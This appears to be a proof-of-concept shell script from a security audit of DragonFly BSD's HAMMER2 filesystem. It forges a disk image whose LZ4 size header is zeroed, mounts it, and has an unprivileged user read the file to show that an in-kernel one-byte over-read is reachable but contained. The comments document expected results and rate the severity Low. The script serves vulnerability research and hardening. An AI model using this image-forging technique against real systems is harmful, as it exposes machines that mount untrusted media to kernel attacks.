#!/bin/sh
# DF-2664 — in-kernel reachability + containment test via crafted HAMMER2 image.
#
# Adapted from the DF-0805 trigger (same forger family). The ONLY change:
# the on-disk 4-byte LZ4 compressed_size header is overwritten with
# 0x00000000 instead of 0x7FFFFFFF.
#
# Why this reaches the finding (hammer2_strategy.c):
#   :198  compressed_size = *(const int *)data;          -> 0
#   :199  KKASSERT((uint32_t)0 <= bytes - sizeof(int));  -> PASSES (0 <= N)
#   :202  LZ4_decompress_safe(&data[4], cbuf, 0, b_bufsize)
#         -> hammer2_lz4.c:418 `token = *ip++` reads data[4] with iend==ip:
#            the 1-byte speculative read past the declared input end.
#
# Expected on the STOCK INVARIANTS kernel:
#   - NO panic (KKASSERT passes: 0 is within bounds)
#   - dmesg: "READ PATH: Error during decompression" (result < 0; the
#     stream can never parse with iend==ip)
#   - the file reads back as 64 KiB of ZEROES (caller bzeros on error,
#     strategy.c:206-216)
#   - guest stays healthy
# => the inputSize==0 call is reachable in-kernel from on-media data,
#    and its impact on this caller is fully contained (no observable
#    info leak, no corruption): severity Low / hardening.
set -eu
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin

IMG=/tmp/df2664.h2
MNT=/tmp/df2664_mnt
FILE_IN_IMG=/lz4_target
VNDISK=vn3
SETCHECK=/root/setcheck

SIG="DF2664LIVEPROBE"

echo "[trigger] cleaning up any previous run"
umount "$MNT" 2>/dev/null || true
vnconfig -u "$VNDISK" 2>/dev/null || true
rm -f "$IMG"
mkdir -p "$MNT"

echo "[trigger] creating 256 MB HAMMER2 image at $IMG"
dd if=/dev/zero of="$IMG" bs=1m count=256 status=none
newfs_hammer2 "$IMG" >/dev/null
vnconfig -c -s labels "$VNDISK" "$IMG"
DEV=/dev/"$VNDISK"s0
[ -c "$DEV" ] || DEV=/dev/"$VNDISK"
echo "[trigger] using device $DEV"
mount_hammer2 "$DEV" "$MNT"
echo "[trigger] mounted: $(mount | grep "$MNT" | head -1)"

echo "[trigger] writing a unique-signature file (forces LZ4 path, not a hole)"
{
    printf "%s" "$SIG"
    yes B | head -c 65520
} > "$MNT$FILE_IN_IMG"
ls -l "$MNT$FILE_IN_IMG"

echo "[trigger] disabling the per-file check code via HAMMER2IOC_INODE_SET"
"$SETCHECK" "$MNT$FILE_IN_IMG" 0

echo "[trigger] re-writing the file so the data block is re-stored with the new check_algo"
{
    printf "%s" "$SIG"
    yes B | head -c 65520
} > "$MNT$FILE_IN_IMG"

sync
umount "$MNT"
vnconfig -u "$VNDISK"

echo "[trigger] scanning image for signature '$SIG'"
SIGOFFSET=$(grep -aob "$SIG" "$IMG" | head -1 | cut -d: -f1)
if [ -z "$SIGOFFSET" ]; then
    echo "[trigger] ERROR: signature not found"; exit 2
fi
echo "[trigger] signature found at byte offset $SIGOFFSET"

# On-disk layout (verified empirically by DF-0805):
#   [4-byte compressed_size][token][ext][literals...] with signature at
#   SIGOFFSET; size field at SIGOFFSET-6.
FIELDSIZE_OFFSET=$((SIGOFFSET - 6))
echo "[trigger] current size field:"
dd if="$IMG" bs=1 skip="$FIELDSIZE_OFFSET" count=4 status=none | od -An -tx1 | head -1

echo "[trigger] overwriting field with 0x00000000 (compressed_size = 0)"
printf '\000\000\000\000' |
    dd of="$IMG" bs=1 seek="$FIELDSIZE_OFFSET" count=4 conv=notrunc status=none

echo "[trigger] re-attaching and re-mounting the crafted image"
vnconfig -c -s labels "$VNDISK" "$IMG"
DEV=/dev/"$VNDISK"s0
[ -c "$DEV" ] || DEV=/dev/"$VNDISK"
mount_hammer2 "$DEV" "$MNT"

chown 1001:1001 "$MNT$FILE_IN_IMG"
chmod 0644 "$MNT$FILE_IN_IMG"
sync; sync; sync

echo "[trigger] reading the file as maxx (uid 1001) — triggers LZ4_decompress_safe(inputSize=0)"
su -m maxx -c "cat '$MNT$FILE_IN_IMG' | wc -c; cat '$MNT$FILE_IN_IMG' | od -An -tx1 | sort -u | head -3"
echo "[trigger] read completed; guest alive."

echo "[trigger] dmesg tail (expect 'READ PATH: Error during decompression'):"
dmesg | tail -5

umount "$MNT"
vnconfig -u "$VNDISK"
echo "[trigger] DONE — no panic, image detached cleanly"
